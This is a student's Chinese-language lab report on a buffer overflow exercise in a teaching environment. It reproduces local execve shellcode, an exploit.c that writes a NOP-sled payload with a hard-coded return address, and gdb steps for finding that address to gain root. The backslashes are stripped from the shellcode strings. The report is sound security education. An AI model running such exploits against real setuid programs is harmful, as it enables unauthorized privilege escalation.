一、写在开头的实验体会
本次实验比较简单,所有流程基本跟着指导来就行了,试验过程中遇到一些麻烦的小问题。
1.对vim剪切板的使用不熟悉(最开始只会y和p指令完成在一个界面的复制黏贴),导致实验过程中全程手打,耗费了大量时间。
2.最开始攻击时出现Segmentation fault,指出现了段错误提示,来发现是 exploit.c
文件代码在指定预留偏移的位置输错了,更改后才成功。
3.实验楼有时间限制,一定记得不要逗留太多时间,开启两次都在最后一题断连环境,真的搞心态TAT
通过这次实验,我对缓冲区溢出攻击的原理有了更深刻的理解,了解到缓冲区溢出所带来的普遍性的安全问题不可忽视。这也提醒我们在平时学习的过程中就应保持良好的编程习惯,减少潜在风险。
二、准备步骤
由于32位环境更方便观察观察汇编语句,实验楼提供了如下三条指令安装软件包配置环境(系统默认是64位环境)
为使实验过程中得到准确的内存地址,需要提前关闭地址空间随机化的功能。
二、实验内容
stack.c程序完成读取一个名为“badfile”的文件,并将文件内容装入“buffer”
进行编译并关闭地址空间随机化
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root
权限。
所采用的shellcode就是当前代码的汇编版本:
1 char shellcode[] =
2 "x31xc0" //xorl %eax,%eax
3 "x50" //pushl %eax
4 "x68""//sh" //pushl $0x68732f2f
5 "x68""/bin" //pushl $0x6e69622f
6 "x89xe3" //movl %esp,%ebx
7 "x50" //pushl %eax
8 "x53" //pushl %ebx
9 "x89xe1" //movl %esp,%ecx
10 "x99" //cdq
11 "xb0x0b" //movb $0x0b,%al
12 "xcdx80" //int $0x80
13 ;
在 /tmp
目录下新建一个 exploit.c
文件,输入如下内容:
1 char shellcode[] =
2 "x31xc0" //xorl %eax,%eax
3 "x50" //pushl %eax
4 "x68""//sh" //pushl $0x68732f2f
5 "x68""/bin" //pushl $0x6e69622f
6 "x89xe3" //movl %esp,%ebx
7 "x50" //pushl %eax
8 "x53" //pushl %ebx
9 "x89xe1" //movl %esp,%ecx
10 "x99" //cdq
11 "xb0x0b" //movb $0x0b,%al
12 "xcdx80" //int $0x80
13 ;
14
15 void main(int argc, char **argv)
16 {
17 char buffer[517];
18 FILE *badfile;
19
20 /* Initialize buffer with 0x90 (NOP instruction) */
21 memset(&buffer, 0x90, 517);
22
23 /* You need to fill the buffer with appropriate contents here */
24 strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 24
25 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
26
27 /* Save the contents to the file "badfile" */
28 badfile = fopen("./badfile", "w");
29 fwrite(buffer, 517, 1, badfile);
30 fclose(badfile);
31 }
其中x??x??x??x??
处需要添上 shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
由 strcpy(buffer+100,shellcode);
shellcode
保存在 buffer + 100
的位置。
为获取内存地址,我们进入stack.c调试界面
使用disass main命令
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee
处设置断点。
得到结果:
根据语句 strcpy(buffer + 100,shellcode);
我们计算 shellcode
的地址为 0xffffcfb0
+ 0x64
= 0xffffd014(使用十六进制加法)
现在修改 exploit.c
文件,将 x??x??x??x??
修改为计算的结果 x14xd0xffxff
然后,编译 exploit.c
程序:
依次运行程序,输入whoaim回车(这里打错是不能backspace删除的
结果显示获得root成功,说明攻击成功。
三、拓展练习
1、通过命令 sudo sysctl -w kernel.randomize_va_space=2
打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
(此时我们无法获得准确内存地址,自然无法攻击成功
如图,没有成功,提示段错误。
2.将/bin/sh重新/bin/bash,观察是否能攻击成功
如图,攻击失败。